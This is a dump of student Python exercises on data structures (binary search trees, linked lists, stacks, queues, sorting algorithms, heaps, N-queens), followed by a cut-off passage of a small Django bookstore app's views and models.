"path": "/LAB07-TreeAll/BST.py", "repo_name": "akio777/Data_Structure", "src_encoding": "UTF-8", "text": "from Node import Node\n\nclass BST:\n def __init__(self, root=None):\n self.root = None if root is None else root\n\n def addI(self, data):\n if self.root is None:\n self.root = Node(data)\n else:\n fp = None\n p = self.root\n while p is not None:\n fp = p\n p = p.left if data < p.data else p.right\n # if data < p.data:\n # p = p.left\n # else:\n # p = p.right\n if data < fp.data:\n fp.left = Node(data)\n else:\n fp.right = Node(data)\n # print(self.root)\n \n def add(self, data):\n self.root = BST._add(self.root, data)\n \n def _add(root, data): # recursive _add\n if root is None:\n return Node(data)\n else:\n if data < root.data:\n root.left = BST._add(root.left, data)\n else:\n root.right = BST._add(root.right, data)\n # print(root.left,root.right)\n return root\n \n def inOrder(self):\n BST._inOrder(self.root)\n print()\n \n def _inOrder(root):\n if root: # if root is not None\n BST._inOrder(root.left)\n print(root.data, end=' ')\n BST._inOrder(root.right)\n\n def preOrder(self):\n BST._preOrder(self.root)\n print()\n \n def _preOrder(root):\n if root:\n print(root.data, end=' ')\n BST._preOrder(root.left)\n BST._preOrder(root.right)\n\n def postOrder(self):\n BST._postOrder(self.root)\n print()\n \n def _postOrder(root):\n if root:\n BST._postOrder(root.left)\n BST._postOrder(root.right)\n print(root.data, end=' ')\n\n def search(root, data):\n if root is None or root.data is data:\n return root\n if root.data < data:\n return BST.search(root.right, data)\n return BST.search(root.left, data)\n\n def printSideway(self):\n BST._printSideway(self.root, 0)\n print()\n\n def _printSideway(root, level):\n if root:\n # print(' ',root)\n # print(root.left,' ',root.right)\n BST._printSideway(root.right, level+1)\n print(' '*level , root.data, sep='')\n BST._printSideway(root.left, level+1)\n \n # def _printSideway(root, level):\n # if root:\n # BST._printSideway(root.right, level+1)\n # print(' '*level, root.data, sep='')\n # BST._printSideway(root.left, level+1)\n\n\n \n\nl = [14,4,9,7,15,3,18,16,20,5,16]\nr = BST()\nfor i in l:\n r.addI(i)\nprint('inOrder : ',end='')\nr.inOrder()\nprint('preOrder : ',end='')\nr.preOrder()\nprint('postOrder : ',end='')\nr.postOrder()\n\nr.printSideway()\n\nr.search(4)\n\n" }, { "alpha_fraction": 0.5265225768089294, "alphanum_fraction": 0.5294695496559143, "avg_line_length": 22.697673797607422, "blob_id": "d550f40a8473334062e684bb88266d84cb6e1775", "content_id": "58447352007945a6525a038a1c7812198c41bad2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1018, "license_type": "no_license", "max_line_length": 44, "num_lines": 43, "path": "/LAB4/---lab4_linklist.py", "repo_name": "akio777/Data_Structure", "src_encoding": "UTF-8", "text": "class Node:\n def __init__(self, data, Next=None):\n self.data = data\n self.next = Next\n def getData(self):\n return self.data\n def getNext(self):\n return self.next\n def setData(self, data):\n self.data = data\n def setNext(self, Next):\n self.next = Next\n \n\n\nclass LinkedList:\n def __init__(self, head=None):\n self.head = head\n def append(self, data):\n new_node = Node(data)\n cur = self.head\n while cur.next != None:\n cur = cur.getNext\n cur.setNext(new_node)\n def size(self):\n cur = self.head\n count = 0\n while cur.getNext() != None:\n count+=1\n cur = cur.getNext()\n return count\n def display(self):\n elems = []\n cur_node = self.head\n while cur_node.getNext != None:\n cur_node = cur_node.getNext()\n elems.append(cur_node.getData())\n print(elems) \n\n\nmylist = LinkedList()\nmylist.append('1')\nmylist.display()" }, { "alpha_fraction": 0.5319940447807312, "alphanum_fraction": 0.5319940447807312, "avg_line_length": 29.522727966308594, "blob_id": "a094c7cf2dbecbd084f8c2312ad8b42768e8d8ff", "content_id": "c3b3625943adfde25f49bd44340e21f017142dcc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1344, "license_type": "no_license", "max_line_length": 53, "num_lines": 44, "path": "/LAB07-TreeAll/Node.py", "repo_name": "akio777/Data_Structure", "src_encoding": "UTF-8", "text": "class Node:\n def __init__(self, data, left=None, right=None):\n self.data = data\n self.left = None if left is None else left\n self.right = None if right is None else right\n def __str__(self):\n return str(self.data)\n def getData(self): # accessor\n return self.data\n def getLeft(self): # accessor\n return self.left\n def getRight(self): # accessor\n return self.right\n def setData(self, data): # mutator\n self.data = data\n def setLeft(self, left): # mutator\n self.left = left\n def setRight(self, right): # mutator\n self.right = right\n\n def find(self, data):\n if self.data == data:\n return True\n elif data < self.data and self.left:\n return self.left.find(data)\n elif data > self.data and self.right:\n return self.right.find(data)\n return False\n\n def insert(self, data):\n if self.data == data:\n return False\n elif data < self.data:\n if self.left:\n return self.left.insert(data)\n else:\n self.left = Node(data)\n return True\n else:\n if self.right:\n return self.right.insert(data)\n else:\n self.right = Node(data)\n return True\n\n" }, { "alpha_fraction": 0.46474820375442505, "alphanum_fraction": 0.4676258862018585, "avg_line_length": 18.19444465637207, "blob_id": "b330b2e85e9e26f661b3e9393b92cceb31632cb2", "content_id": "bb9f09928ca9daccc62f2a8634cd4f5617404212", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 695, "license_type": "no_license", "max_line_length": 42, "num_lines": 36, "path": "/LAB2/lab2_stack.py", "repo_name": "akio777/Data_Structure", "src_encoding": "UTF-8", "text": "class Stack:\n\n def __init__(self, list = None):\n if list == None:\n self.item = []\n else:\n self.item = list\n\n def __init__(self):\n self.item = []\n \n def push(self, i):\n self.item.append(i)\n\n def size(self):\n return len(self.item)\n\n def isEmpty(self):\n if self.item == []:\n return True\n else:\n return False\n \n def pop(self):\n self.item.pop()\n \n def remove(self, x):\n self.item.remove(x)\n\n def peek(self):\n return self.item[len(self.item)-1]\n\n def isFull(self):\n if len(self.item) < 4:\n return False\n else: return True\n " }, { "alpha_fraction": 0.4664553701877594, "alphanum_fraction": 0.47015318274497986, "avg_line_length": 23.28205108642578, "blob_id": "135268dfeea19e21d97dc6542ebc12df5ce217c9", "content_id": "74bbe327705eb835f1eb8b520e1b596809da99d3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1893, "license_type": "no_license", "max_line_length": 57, "num_lines": 78, "path": "/Round3greatAGAIN/LinkedList.py", "repo_name": "akio777/Data_Structure", "src_encoding": "UTF-8", "text": "class DoublyLinkedList:\n class Node:\n def __init__(self, data, prev=None, next=None):\n self.data = data\n if prev is None:\n self.prev = None\n else:\n self.prev = prev\n if next is None:\n self.next = None\n else:\n self.next = next\n\n def __init__(self):\n self.header = self.Node(None, None, None)\n self.header.next = self.header.prev = self.header\n self.size = 0\n\n def __str__(self):\n s = 'LinkedList Data : '\n p = self.header.next\n for _ in range(len(self)):\n s += str(p.data)+' '\n p = p.next\n return s\n\n def __len__(self):\n return self.size\n\n def isEmpty(self):\n return self.size == 0\n\n def indexOf(self, data):\n q = self.header.next\n for i in range(len(self)):\n if q.data == data:\n return i\n q = q.next\n return -1\n\n def isIn(self, data):\n return self.indexOf(data) >= 0\n\n def nodeAt(self, i):\n p = self.header\n for _ in range(-1, i):\n p = p.next\n return p\n\n def insertBefore(self, q, data):\n p = q.prev\n x = self.Node(data, p, q)\n p.next = q.prev = x\n self.size += 1\n\n def append(self, data):\n self.insertBefore(self.nodeAt(len(self)), data)\n\n def add(self, i, data):\n self.insertBefore(self.nodeAt(i), data)\n\n def removeNode(self, q):\n p = q.prev\n x = q.next\n p.next = x\n x.prev = p\n self.size -= 1\n\n def delete(self, index):\n self.removeNode(self.nodeAt(index))\n\n def remove(self, data):\n q = self.header.next\n while q != self.header:\n if q.data == data:\n self.removeNode(q)\n break\n q = q.next" }, { "alpha_fraction": 0.4457434117794037, "alphanum_fraction": 0.46462830901145935, "avg_line_length": 20.660131454467773, "blob_id": "6881930eb2a82325e8f8530e5d58c34f6222954c", "content_id": "d6e67bf7be8ef3df7d6c222effb02ab7819bbc8d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3336, "license_type": "no_license", "max_line_length": 61, "num_lines": 153, "path": "/Finallab/SORTING.py", "repo_name": "akio777/Data_Structure", "src_encoding": "UTF-8", "text": "def bubble_sort(l):\n length = len(l)\n for i in range(0, length):\n for j in range(i+1, length):\n if l[j] < l[i]:\n l[i], l[j] = l[j], l[i]\n \n print('bub_sort >> ', l)\n\ndef selection_sort(l):\n length = len(l)\n for i in range(0, length):\n Min_index = i\n for j in range(i+1, length):\n if l[j] < l[i]:\n Min_index = j\n l[Min_index], l[i] = l[i], l[Min_index]\n \n print('sel_sort >> ',l)\n\n\ndef insertion_sort(l):\n length = len(l)\n for i in range(1, length):\n temp = l[i]\n j = i\n while j > 0 and l[j-1] > temp:\n l[j] = l[j-1]\n j -= 1\n l[j], temp = temp, l[j]\n \n print('ins_sort >> ', l)\n\ndef shell_sort(l):\n length = len(l)\n gap = length//2\n while gap > 0:\n for i in range(gap, length):\n temp = l[i]\n j = i\n while j >= gap and l[j-gap] < temp:\n l[j] = l[j-gap]\n j -= gap\n l[j] , temp = temp, l[j]\n gap //= 2\n \n print('shl_sort >> ', l)\n\ndef merge(A, B):\n out = []\n while len(A) > 0 and len(B) > 0:\n if A[0] > B[0]:\n out.append(B[0])\n B.pop(0)\n else:\n out.append(A[0])\n A.pop(0)\n while len(A) > 0:\n out.append(A[0])\n A.pop(0)\n while len(B) > 0:\n out.append(B[0])\n B.pop(0)\n \n return out\n\ndef merge_sort(l):\n length = len(l)\n\n if length == 1:\n return l\n\n mid = length//2\n arrayA = l[:mid]\n arrayB = l[mid:]\n\n arrayA = merge_sort(arrayA)\n arrayB = merge_sort(arrayB)\n\n return merge(arrayA, arrayB)\n\n\ndef quick_sort(l):\n less = []\n equal = []\n greater = []\n if len(l) > 0:\n pivot = l[0]\n for i in l:\n if i < pivot:\n less.append(i)\n elif i == pivot:\n equal.append(i)\n elif i > pivot:\n greater.append(i)\n return quick_sort(less) + equal + quick_sort(greater)\n else:\n return l\n\n\ndef heapify( arr, length, i):\n large = i\n left = 2 * i + 1\n right = 2 * i + 2\n\n if left < length and arr[large] > arr[left]:\n large = left\n \n if right < length and arr[large] > arr[right]:\n large = right\n \n if large != i:\n arr[i] , arr[large] = arr[large] , arr[i]\n heapify(arr, length, large)\n\ndef heap_sort(arr):\n length = len(arr)\n for i in range(length, -1 , -1):\n heapify(arr, length, i)\n for i in range(length-1, 0, -1):\n arr[i] , arr[0] = arr[0], arr[i]\n heapify(arr, i, 0)\n return arr\n\nList = [51, 49, 67, 90, 100, 2, 21, 35, 1, 6, 10]\n\n# bubble_sort(List)\n# selection_sort(List)\n# insertion_sort(List)\n# shell_sort(List)\n# print(merge_sort(List))\n# print(quick_sort(List))\nnewList = heap_sort(List)\n\nprint(newList)\n\n\ndef dfs(visited, graph, node):\n if node not in visited:\n visited.append(node)\n for i in graph[node]:\n dfs(visited, graph, i)\n\n\ndef bfs(visited, queue, graph, node):\n visited.append(node)\n queue.append(node)\n while queue:\n temp = queue.pop(0)\n for i in graph[node]:\n if i not in visited:\n visited.append(i)\n queue.append(i)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.6294277906417847, "alphanum_fraction": 0.6348773837089539, "avg_line_length": 19.38888931274414, "blob_id": "a450caeda08e0473301aa57e8f7b0f901ad92e20", "content_id": "845431a7f8a15152e9b7760f589479f0ab64f69c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 367, "license_type": "no_license", "max_line_length": 27, "num_lines": 18, "path": "/LAB1/MAIN/MAIN/Stack.py", "repo_name": "akio777/Data_Structure", "src_encoding": "UTF-8", "text": "class Stack:\n\tdef __init__(self):\n\t\tself.item = []\n\tdef size(self):\n\t\treturn len(self.item)\n\tdef push(self, sth):\n\t\tself.item.append(sth)\n\tdef isEmpty(self):\n\t\treturn self.size() == 0\n\tdef pop(self, index=None):\n\t\tif index is None:\n\t\t\tself.item.pop()\n\t\telse:\n\t\t\tself.item.pop(index)\n\tdef peek(self):\n\t\treturn self.item[-1]\n\tdef __str__(self):\n\t\treturn str(self.item)\n" }, { "alpha_fraction": 0.4574739336967468, "alphanum_fraction": 0.4732328951358795, "avg_line_length": 24.311763763427734, "blob_id": "7590eae86c44a71bbd95072fc2ebed0edb148351", "content_id": "e2ed7f7cc36244c4c80ec0d39571e33cbdbbd87f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4315, "license_type": "no_license", "max_line_length": 73, "num_lines": 170, "path": "/Round3greatAGAIN/HeapSort.py", "repo_name": "akio777/Data_Structure", "src_encoding": "UTF-8", "text": "class DoublyLinkedList:\n class Node:\n def __init__(self, data, prev=None, next=None):\n self.data = data\n if prev is None:\n self.prev = None\n else:\n self.prev = prev\n if next is None:\n self.next = None\n else:\n self.next = next\n\n def __init__(self):\n self.header = self.Node(None, None, None)\n self.header.next = self.header.prev = self.header\n self.size = 0\n\n def __str__(self):\n s = 'LinkedList Data : '\n p = self.header.next\n for _ in range(len(self)):\n s += str(p.data)+' '\n p = p.next\n return s\n\n def __len__(self):\n return self.size\n\n def isEmpty(self):\n return self.size == 0\n\n def indexOf(self, data):\n q = self.header.next\n for i in range(len(self)):\n if q.data == data:\n return i\n q = q.next\n return -1\n\n def isIn(self, data):\n return self.indexOf(data) >= 0\n\n def nodeAt(self, i):\n p = self.header\n for _ in range(-1, i):\n p = p.next\n return p\n\n def insertBefore(self, q, data):\n p = q.prev\n x = self.Node(data, p, q)\n p.next = q.prev = x\n self.size += 1\n\n def append(self, data):\n self.insertBefore(self.nodeAt(len(self)), data)\n\n def add(self, i, data):\n self.insertBefore(self.nodeAt(i), data)\n\n def removeNode(self, q):\n p = q.prev\n x = q.next\n p.next = x\n x.prev = p\n self.size -= 1\n\n def delete(self, index):\n self.removeNode(self.nodeAt(index))\n\n def remove(self, data):\n q = self.header.next\n while q != self.header:\n if q.data == data:\n self.removeNode(q)\n break\n q = q.next\n\n\ndef print90(l, index=0, level=0):\n if index < len(l):\n print90(l, 2*index+2, level+1)\n print(' '*level*3, end=' ')\n print(l.nodeAt(index).data)\n print90(l, 2*index+1, level+1)\n \ndef insert(l, data):\n l.append(data)\n minHeap(l, data)\n\nINPUT = [68, 65, 32, 24, 26, 21, 19, 13, 16, 14]\ndef minHeap(l, data):\n index = l.indexOf(data)\n if index != 0:\n if index%2 == 0:\n prev_index = (int)((index-2)/2)\n else:\n prev_index = (int)((index-1)/2)\n\n if l.nodeAt(prev_index).data > data:\n #SWAP\n temp = l.nodeAt(prev_index).data\n l.nodeAt(prev_index).data = data\n l.nodeAt(index).data = temp\n minHeap(l,data)\n else:\n return\n\ndef deleteMin(l):\n HL = 0\n temp = l.nodeAt(HL).data;\n # Left_INDEX // Right_INDEX\n LI = HL * 2 + 1\n RI = HL * 2 + 2\n while LI < len(l) and RI < len(l):\n L_data = l.nodeAt(LI).data\n R_data = l.nodeAt(RI).data\n if LI < len(l) and RI < len(l):\n if L_data > temp and R_data > temp:\n l.nodeAt(HL).data = L_data if L_data < R_data else R_data\n HL = LI if L_data < R_data else RI\n\n elif L_data > temp or R_data > temp:\n l.nodeAt(HL).data = L_data if L_data > temp else R_data\n HL = LI if L_data > R_data else RI\n else:\n break\n else:\n if LI < len(l) and L_data > temp:\n l.nodeAt(HL).data = L_data\n HL = LI\n elif RI < len(l) and R_data > temp:\n l.nodeAt(HL).data = R_data\n HL = RI\n else:\n break\n \n LI = HL * 2 + 1\n RI = HL * 2 + 2\n l.nodeAt(HL).data = temp\n return temp\n\nL = DoublyLinkedList()\nasc = []\nfor i in INPUT:\n print('insert : ',i)\n insert(L, i)\n print(L, sep=' ')\n print90(L,0,0)\n print('--------------------------------')\n\nprint('delete MIN or >>> minHEAP goto maxHEAP')\nprint(L,sep=' ')\nprint90(L)\n\nfor i in range(len(L)):\n print('deleteMin =',L.nodeAt(0).data,end = ' FindPlaceFor ')\n asc.append(deleteMin(L))\n print(L.nodeAt(0).data)\n print(L,sep=' ')\n print90(L)\n\nprint('==== Sorting ascending ====')\nprint(*asc,sep=' ')\nprint('==== Sorting descending ====')\nprint(L,sep=' ')\n\nprint()\nprint('Finished')\n\n\n\n\n\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.49587395787239075, "alphanum_fraction": 0.50862717628479, "avg_line_length": 25.098039627075195, "blob_id": "e8f9b30ea6986d8e1eff93a293b4837332824572", "content_id": "c9e12c461ec0ebe1fe6b665fae12155f881c1010", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1333, "license_type": "no_license", "max_line_length": 71, "num_lines": 51, "path": "/LAB07-TreeAll/BST2.py", "repo_name": "akio777/Data_Structure", "src_encoding": "UTF-8", "text": "class Node:\n def __init__(self, data, left = None, right = None, parent = None):\n self.data = data\n self.left = None if left is None else left\n self.right = None if right is None else right\n self.parent = None if parent is None else parent\n\n def __str__(self):\n return str(self.data)\n\n def isLeaft(self):\n return self.left is None and self.right is None\n \n def isParent(self):\n return not(self.isLeaft())\n \n def insert(self, data):\n if self.data == data:\n return False\n elif data < self.data:\n if self.left is not None:\n return self.left.insert(data)\n else:\n self.left = Node(data)\n return True\n else:\n if self.right is not None:\n return self.right.insert(data)\n else:\n self.right = Node(data)\n return True\n\n def find(self, data):\n if self.root:\n return self.root.find(data)\n else:\n return False\n\n def path(self, data, path):\n if self.data == data:\n path.append(self.data)\n elif data < self.data:\n path.append(self.data)\n \n\n\n\n# l = [14,4,9,7,15,3,18,16,20,5,16]\n# x = \n# for ele in l:\n# x.insert(ele)\n\n\n" }, { "alpha_fraction": 0.5407407283782959, "alphanum_fraction": 0.5456790328025818, "avg_line_length": 22.882352828979492, "blob_id": "0f14b7545b0d7c2e4d0b0b7f1e07b55e58f89c4b", "content_id": "7e4ca8433fd560501067108d207c42f5c0bb2ffb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 405, "license_type": "no_license", "max_line_length": 41, "num_lines": 17, "path": "/LAB1/MAIN/MAIN/Queue.py", "repo_name": "akio777/Data_Structure", "src_encoding": "UTF-8", "text": "class Queue:\n def __init__(self):\n self.item = []\n\n def size(self):\n return len(self.item)\n def __str__(self):\n return str(self.item)\n def isEmpty(self):\n return self.size()==0\n def isFull(self):\n pass\n # need setting how much it's full\n def enQueue(self,sth):\n self.item.append(sth)\n def deQueue(self):\n return self.item.pop(0)" }, { "alpha_fraction": 0.49291694164276123, "alphanum_fraction": 0.5035415291786194, "avg_line_length": 23.53174591064453, "blob_id": "8ae927c494e2cdf036efa342caf656676b20964b", "content_id": "29c1611b5c22155ce4890ae241df9601618b9227", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3106, "license_type": "no_license", "max_line_length": 65, "num_lines": 126, "path": "/LAB07-TreeAll/Tree1.py", "repo_name": "akio777/Data_Structure", "src_encoding": "UTF-8", "text": "class Node:\n def __init__(self, data, left=None, right=None, parent=None):\n self.data = data\n self.left = None if left is None else left\n self.right = None if right is None else right\n self.parent = None if parent is None else parent\n self.height = 1\n def __str__(self):\n return str(self.data)\ndef insert(root, data):\n if not root:\n return Node(data)\n else:\n if data < root.data:\n root.left = insert(root.left, data)\n root.left.parent = root\n else:\n root.right = insert(root.right, data)\n root.right.parent = root\n return root\n\n\ndef ISP(root, parent):\n if root.left:\n return ISP(root.left, root)\n else:\n temp = root.data\n delete(parent, root.data)\n return temp\n\n\ndef delete(root, data):\n if root:\n if data < root.data:\n delete(root.left, data)\n else:\n delete(root.right, data)\n\n if root.data is data:\n #no child\n if root.left is None and root.right is None:\n if root.parent:\n if root.parent.right is root:\n root.parent.right = None\n else:\n root.parent.left = None\n else:\n root = None\n\n #2 children\n elif root.left and root.right:\n root.data = ISP(root.right, root)\n \n else:\n lower = root.right if root.right else root.left\n if root.parent:\n if root.parent.right is root:\n root.parent.right = lower\n else:\n root.parent.left = lower\n else:\n root = lower\n\ndef PATH(root, data, l=None):\n if root.data == data:\n pass\n else:\n # print(root.data,end=' ')\n l.append(root.data)\n if data < root.data:\n PATH(root.left, data, l)\n else:\n PATH(root.right, data, l)\n return l\n\ndef height(root):\n if root:\n hl = height(root.left)\n hr = height(root.right)\n if hl>hr:\n return hl+1\n else:\n return hr+1\n else:\n return -1\n\ndef printSideway(root):\n _printSideway(root, 0)\n print()\n \ndef _printSideway(root, lv):\n if root:\n _printSideway(root.right, lv+1)\n print(' '*lv, root.data,sep='')\n _printSideway(root.left, lv+1)\n\ndef inOrder(root):\n if root:\n inOrder(root.left)\n print(root.data,end=' ')\n inOrder(root.right)\n \n\n\nl = [14,4,9,7,15,3,18,16,20,5]\nroot = None\nfor element in l:\n root = insert(root, element)\n\n\ninOrder(root)\nprint(' ')\nprintSideway(root)\nprint(PATH(root, 5, []))\nprint(height(root))\n# print(root.left.parent)\n# print('find node 3',findNode(root,3))\n# print('find path of node 3 : ',end='')\n# PATH(root, 3)\n\n# print('parent of 16 : ',findParentofNode(root, 16))\n\n\n# delete(root, 9)\n# print('--------------------------')\n# printSideway(root)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.43577840924263, "alphanum_fraction": 0.44382545351982117, "avg_line_length": 21.289655685424805, "blob_id": "16ac059a0b80906d4bd498f5d5b50573cb60bacc", "content_id": "c61b6f24844d35a89844c280917e8323e06ccc69", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3235, "license_type": "no_license", "max_line_length": 46, "num_lines": 145, "path": "/LAB2/lab2_narrowParkingLot.py", "repo_name": "akio777/Data_Structure", "src_encoding": "UTF-8", "text": "class Stack:\n\n def __init__(self, list = None):\n if list == None:\n self.item = []\n else:\n self.item = list\n\n def __init__(self):\n self.item = []\n \n def push(self, i):\n self.item.append(i)\n\n def size(self):\n return len(self.item)\n\n def space_left(self):\n return 4-len(self.item)\n\n def isEmpty(self):\n if self.item == []:\n return True\n else:\n return False\n \n def pop(self):\n self.item.pop()\n\n def peek(self):\n return self.item[len(self.item)-1]\n\n def isFull(self):\n if len(self.item) < 4:\n return False\n else: return True\n\n def arrive(self, x):\n if self.isFull() == False:\n self.push(x)\n print(self.item,end=\" \")\n print(\"arrive \",end=\"\")\n print(\" Space Left\",end=\"\")\n print(self.space_left())\n else:\n print(x,end=\" \")\n print(\" cannot arrive :\",end=\" \")\n print(\"SOI FULL\")\n\n def depart(self, y):\n if y in self.item:\n index = self.item.index(y)\n #print(index)\n B = Stack()\n count = self.size()-1\n while count > index:\n B.push(self.item[count])\n count-=1\n lenB = B.size()\n for i in range(0, B.size()+1):\n self.pop()\n #print('A : ',end=\"\")\n #print(self.item)\n for i in range(0, lenB):\n self.push(B.item[i])\n for i in range(0, lenB):\n B.pop()\n #print('A : ',end=\"\")\n #print(self.item)\n #print(self.space_left())\n #print('B : ',end=\"\")\n #print(B.item)\n\n else:\n print(y,end=\" \")\n print(\" cannot depart :\",end=\" \")\n print(\"NO \",end=\"\")\n print(y)\n #check = True\n # for i in range(0,self.size()):\n # if y != self.item[i]:\n # check = False\n # else:\n # check = True\n # if check == False:\n # print(y,end=\" \")\n # print(\" cannot depart :\",end=\" \")\n # print(\"NO \",end=\"\")\n # print(y)\n\nA = Stack()\n\nA.arrive('car1')\nA.arrive('car2')\nA.arrive('car3')\nA.arrive('car4')\nA.arrive('car5')\n\nprint(\"SOI\",A.item)\nA.depart('car7')\nA.depart('car2')\nprint(\"Space Left : \",end=\"\")\nprint(A.space_left())\nprint(\"SOI\",A.item)\n#while TRUE:\n \n\n##### limit of A = 4 car\n\n# print(A.isEmpty())\n# print(A.size())\n# print(A.isFull())\n\n# A.remove(3)\n# print(A.item[1])\n# print(B.isEmpty())\n# print(A.size())\n# print(A.isFull())\n\n## CAR 2 DEPART\n ## A = ก\n ## B = ข\n\n#target = 2 # <<< car2 is target for depart\n\n#print(A.item)\n#print(B.item)\n\n#if B.isEmpty() == True:\n# for i in range(target, A.size()):\n# B.push(A.item[i])\n# print('A : ',end=\"\")\n# print(A.item)\n# print('B : ',end=\"\")\n# print(B.item)\n# for i in range(-1, B.size()):\n# A.pop()\n# for i in range(0, B.size()):\n# A.push(B.item[i])\n# for i in range(0 , B.size()):\n# B.pop()\n#else:\n# print('SOI FULL')\n#print(A.item)\n#print(B.item)" }, { "alpha_fraction": 0.36465322971343994, "alphanum_fraction": 0.382177472114563, "avg_line_length": 20.304000854492188, "blob_id": "a19f3543bf1b877724dd214d9f2c158af0081980", "content_id": "3f047ab9812cc765b2a2ab8283a7e918b13ebe52", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2682, "license_type": "no_license", "max_line_length": 100, "num_lines": 125, "path": "/testVSCODE/test.py", "repo_name": "akio777/Data_Structure", "src_encoding": "UTF-8", "text": "import sys\n\n#!< ---- RECURSION ---- >!#\n\ndef factorial(n):\n if n == 0 or n == 1:\n return 1\n else:\n return n * factorial(n-1)\n\n\ndef sum1toN(n):\n if n == 0:\n return 0\n else:\n return n + sum1toN(n-1)\n\n\ndef print1toN(n):\n if n < 1:\n pass\n else:\n return str(print1toN(n-1)) + str(n)\n \n\ndef printNto1(d):\n if d < 1:\n return 0\n else:\n temp = str(d)\n d = d - 1\n return temp + str(printNto1(d))\n\n\n#! ---- 8 Queen ---- !#\nl = [ ['#','#','#','#','#','#','#','#'], \n ['#','#','#','#','#','#','#','#'], \n ['#','#','#','#','#','#','#','#'], \n ['#','#','#','#','#','#','#','#'],\n ['#','#','#','#','#','#','#','#'],\n ['#','#','#','#','#','#','#','#'],\n ['#','#','#','#','#','#','#','#'],\n ['#','#','#','#','#','#','#','#']\n ] \n\n#! l[Y][X]\n\n\n\n\n\n\nglobal N\nN = 8\n\n\ndef printSolution(l): \n for i in range(N): \n for j in range(N): \n print (l[i][j], end=' ') \n print() \n\n\ndef isSAFE(l, row, col): #!<------ use for check can placed 'Q'\n\n for i in range(col): # TODO: <----- check all col in row\n if l[row][i] == 'Q':\n return False\n for i, j in zip( range(row, -1, -1), range(col, -1, -1) ): #TODO: <------ check upper diagonal\n if l[i][j] == 'Q':\n return False\n for i, j in zip( range(row, N, 1), range(col, -1, -1) ): #TODO: <------ check lower diagonal\n if l[i][j] == 'Q':\n return False\n return True\n\ndef _8Queen(l, col): #* <------------ execute *queen \n\n if col >= N: #!< ---- base case for exit recursion\n return True\n \n for i in range(N):\n if isSAFE(l, i, col) == True: #!<----- if can paste Q , plaste\n l[i][col] = 'Q'\n if _8Queen(l, col+1) == True:\n return True\n l[i][col] = '#' #!< ---- for backtracking if cant paste Q\n \n return False\n\ndef SOLVE8Q(l):\n if _8Queen(l, 0) == False:\n print('Solution DONT EXIT')\n return False\n \n printSolution(l)\n return True\n\n\n\ndef move(n, A, C, B):\n if n == 1:\n print(n, 'from', A, 'to', C)\n else:\n move(n-1, A, B, C)\n print(n, 'from', A, 'to', C)\n move(n-1, B, C, A)\n# move(4, 'A', 'C', 'B')\n\n\n\ndef findMIN(leest, start, end):\n if start == end:\n return leest[start]\n else:\n MIN = findMIN(leest, start+1, end)\n if leest[start] < MIN:\n return leest[start]\n else:\n return MIN\n\n\nL = [4 , 6 ,8 ,9 ,0 ,2 , 1]\n\nprint(findMIN(L,0,len(L)-1))\n \n\n\n\n\n\n\n\n\n\n\n" } ]
43
muzaffersenkal/ceng3507
https://github.com/muzaffersenkal/ceng3507
8064705635ff37ed4d55b900d626a1e7dc671109
8219196324980b09d2fe10dc376a631bb0046d38
517c81c627131be7a6bc8fdc55c308c52acd9089
refs/heads/master
2021-08-14T10:35:15.817142
2017-11-15T11:28:07
2017-11-15T11:28:07
110,823,229
0
0
null
2017-11-15T11:10:58
2017-11-05T18:17:41
2017-11-14T13:25:24
null
[ { "alpha_fraction": 0.6777777671813965, "alphanum_fraction": 0.6888889074325562, "avg_line_length": 31.440000534057617, "blob_id": "dc06e0ca459ee2afb2d7c66f39f86f8691effd55", "content_id": "a4e4d7f3194c39ca56fcbdb10e249736e4032c34", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 810, "license_type": "no_license", "max_line_length": 62, "num_lines": 25, "path": "/django/bookstore/my_bookstore/views.py", "repo_name": "muzaffersenkal/ceng3507", "src_encoding": "UTF-8", "text": "from django.shortcuts import get_object_or_404, render\nfrom django.http import HttpResponse, Http404\nfrom django.template import loader\nfrom .models import Book\n\ndef index(request):\n books = Book.objects.all()\n context = {\"books\": books}\n return render(request, \"my_bookstore/index.html\", context)\n\ndef book_page(request, book_id, title):\n print(book_id, title)\n book = get_object_or_404(Book, pk=book_id)\n\n context = {\"book\": book }\n return render(request, \"my_bookstore/book.html\", context)\n\ndef cat_page(request, cat):\n\n category = Book.genre_dict[cat]\n print(\"cat: |{}|\".format(category))\n books = Book.objects.all().filter(genre=category)\n print(\"books\", books)\n context = {\"books\": books, \"cat_name\": cat}\n return render(request, \"my_bookstore/index.html\", context)" }, { "alpha_fraction": 0.5671819448471069, "alphanum_fraction": 0.5731272101402283, "avg_line_length": 26.064516067504883, "blob_id": "e0d72ccd2d21bec8ca4dada0b0daba9cd80bf46f", "content_id": "b649b7ef03785834ba3d183ae3e1e2bd1b34b757", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 841, "license_type": "no_license", "max_line_length": 67, "num_lines": 31, "path": "/django/bookstore/my_bookstore/models.py", "repo_name": "muzaffersenkal/ceng3507", "src_encoding": "UTF-8", "text": "from django.db import models\nimport datetime\n\nclass Book(models.Model):\n\n genre_dict = { \"History\": \"H\", \"Classic\": \"C\"}\n\n GENRE_CHOICES = (\n ('H', 'History'),\n ('C', 'Classic'),\n ('F', 'Fiction'),\n ('NF', 'Non-fiction'),\n ('M', 'Mystery'),\n )\n\n title = models.CharField(max_length=80)\n price = models.FloatField()\n 